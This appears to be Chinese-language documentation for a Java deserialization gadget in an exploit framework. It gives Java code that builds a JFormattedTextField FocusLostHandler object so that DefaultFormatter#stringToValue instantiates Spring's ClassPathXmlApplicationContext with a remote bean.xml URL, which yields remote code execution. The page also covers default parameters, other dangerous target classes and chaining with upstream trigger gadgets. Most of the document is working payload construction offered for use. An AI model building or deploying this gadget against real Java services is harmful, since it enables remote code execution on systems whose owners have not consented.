- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:jdk原生
利用 javax.swing.JFormattedTextField$FocusLostHandler 的 run() 方法调用 DefaultFormatter#stringToValue(),进而用一个 String 参数实例化任意 public 类(其构造方法接受单个 String)。典型目标是 org.springframework.context.support.ClassPathXmlApplicationContext,用一个 URL 触发远程 Spring Bean XML 加载 → RCE。
- 入口
tags:JFormattedTextField、END——JFormattedTextField是本 gadget 的专属入口标签(供上层驱动此 Swing 触发逻辑);END表示它是链尾 sink,自身闭合完成利用,不再向后衔接。 - 衔接
nextTags:无。 excludes:无。
本 gadget 无内层依赖,invoke 直接返回 getObject() 构造好的对象:
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}getObject 构造一个「格式化文本框 + 失焦处理器」结构:
public Object getObject() throws Exception {
DefaultFormatter defaultFormatter = new DefaultFormatter();
defaultFormatter.setValueClass(Class.forName(this.clazz)); // 目标要实例化的类
javax.swing.JFormattedTextField jFormattedTextField = new javax.swing.JFormattedTextField();
Reflections.setFieldValue(jFormattedTextField, "format", defaultFormatter);
StringContent stringContent = new StringContent(this.str.trim().length());
stringContent.insertString(0, this.str.trim()); // 构造方法的 String 实参
PlainDocument plainDocument = new PlainDocument(stringContent);
jFormattedTextField.setDocument(plainDocument);
...setValueClass(Class.forName(clazz)):把DefaultFormatter的 valueClass 设为目标类(默认ClassPathXmlApplicationContext)。stringToValue()之后会用文本框内容作为唯一 String 参数去调用该类的构造器。- 文本框的文档内容被设为
str(默认远程 XML 地址),即将成为构造器实参。
Class<?> focusLostHandlerClass = Class.forName("javax.swing.JFormattedTextField$FocusLostHandler");
Constructor<?> focusLostHandlerConstructor =
focusLostHandlerClass.getDeclaredConstructor(javax.swing.JFormattedTextField.class);
focusLostHandlerConstructor.setAccessible(true);
Object focusLostHandler = focusLostHandlerConstructor.newInstance(jFormattedTextField);
Reflections.setFieldValue(jFormattedTextField, "focusLostBehavior", 0);
Method run = focusLostHandler.getClass().getDeclaredMethod("run", new Class[0]);
run.setAccessible(true);
return focusLostHandler;
}- 反射构造内部类
FocusLostHandler(持有上面的文本框),并把focusLostBehavior设为0(COMMIT_OR_REVERT),保证失焦时会执行 commit 逻辑走到stringToValue。 - 返回的是
FocusLostHandler实例。其run()一旦被调用即触发:JFormattedTextField.commitEdit()→DefaultFormatter.stringToValue(str)→ 反射new ClassPathXmlApplicationContext(str)→ 远程加载bean.xml→ 执行任意 Bean 定义(RCE)。
说明:本 gadget 产物是一个
Runnable(FocusLostHandler)。它需要上游提供「反序列化时调用某对象 run()/触发失焦」的驱动点(对应专属 tagJFormattedTextField),常配合 Swing 相关的原生触发链使用。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
str |
str | 构造方法参数(String 类型),如 http://127.0.0.1:8888/bean.xml |
http://127.0.0.1:8888/bean.xml |
— |
clazz |
clazz | 要调用(实例化)的类名 | org.springframework.context.support.ClassPathXmlApplicationContext |
— |
- 纯 JDK 原生(Swing)依赖,无第三方库要求;
clazz目标类(如 Spring 的ClassPathXmlApplicationContext)需在目标 classpath 存在。 - 利用面广:只要目标类有「单 String 参数 public 构造器」即可被实例化,可换用其他危险类。
- 触发核心:
DefaultFormatter#stringToValue()用反射按 valueClass 找到 String 构造器并newInstance(str)。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 上游(触发者):能在反序列化时调用
Runnable.run()或触发 Swing 失焦回调的原生入口 gadget。 - 思路同族:借「单 String 构造器实例化
ClassPathXmlApplicationContext」达成远程 XML 加载的其它 gadget(如 SpringBeanXml 系列)。